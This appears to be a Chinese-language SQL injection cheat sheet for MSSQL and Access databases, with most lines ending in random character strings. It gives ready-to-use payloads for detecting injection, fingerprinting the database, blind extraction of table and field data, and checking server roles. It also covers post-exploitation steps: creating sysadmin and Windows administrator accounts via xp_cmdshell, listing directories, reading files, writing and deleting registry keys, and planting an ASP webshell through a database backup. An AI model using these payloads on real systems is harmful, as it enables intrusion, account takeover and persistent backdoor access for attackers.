1.判断是否有注入;and 1=1 ;and 1=2 7GZq|M_:y
2.初步判断是否是mssql ;and user>0 ^M|K;jt>
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3.注入参数是字符'and [查询条件] and ''=' T:!MBWYe |
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' z\.1>/Z=
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5.判断数据库系统 z $6JpG
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;and (select count(*) from sysobjects)>0 mssql 'IQsve7cI
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;and (select count(*) from msysobjects)>0 access yFM>T\@
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 2)\vj5<~$
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 h~miP7,c<u
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 .JAcPyK^
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9.(1)猜字段的ascii值(access) "mZ.V
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 0BTLcEqgZ
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(2)猜字段的ascii值(mssql) (pYYkR"
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Y}.Ystem
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10.测试权限结构(mssql) WE.Tuo5L
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- JO1
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- m m, lhIh
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- y1C/v:;
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- #T%zfcUj
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- xzk}[3P{
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;and 1=(select IS_MEMBER('db_owner'));-- Y@} FL;3
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11.添加mssql和系统的帐户 dlD}Ub
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;exec master.dbo.sp_addlogin username;-- iJP{|-h
;exec master.dbo.sp_password null,username,password;-- 6k9Lx C:M
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- /`+7_=-
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;exec master.dbo.xp_cmdshell 'net user username password 4e9E'
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- tWk{1IL
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- abWl ut
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- (I=6Nnt'
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12.(1)遍历目录 0Q1/ n2V
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;create table dirs(paths varchar(100), id int) wj%wp[KA$
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 9#@Zz4Ww
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;and (select top 1 paths from dirs)>0 !Zs,-=^D
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) rJ(OAKnY
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(2)遍历目录 A,c'g}:
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- p@tp]u`7
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 re uYTH
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ;$;rD0i|
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 .B$h2#i1
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ]u=Ca#!'
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13.mssql中的存储过程 ZQ[~*)
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xp_regenumvalues 注册表根键, 子键 F=i!d,S
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 `Zf9$K|
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xp_regread 根键,子键,键值名 BXA]9eK
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;exec xp_regread $4Y&j}R
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 W5/};K\.
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xp_regwrite 根键,子键, 值名, 值类型, 值 7@P656{
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 k7T
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xp_regdeletevalue 根键,子键,值名 k1iLnza%
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 b42QBTeg
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 T} 8CfG_j
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14.mssql的backup创建webshell & rQD `E/
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use model o7arxo\
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create table cmd(str image); sVoR?peQ
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insert into cmd(str) values (''); ]xrD<
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backup database model to disk='c:\l.asp'; (}0S1)7t
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15.mssql内置函数 K;C_Z/<%
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;and (select @@version)>0 获得Windows的版本号 w,
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa *(nJX.7
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;and (select user_name())>0 爆当前系统的连接用户 WRM$DA
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;and (select db_name())>0 得到当前连接的数据库 ai^t=
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16.简洁的webshell YkI9d&ib+
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use model 1RA }aX
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create table cmd(str image); )JX$/-
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insert into cmd(str) values (''); R8uj3!3^
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backup database model to disk='g:\wwwtest\l.asp';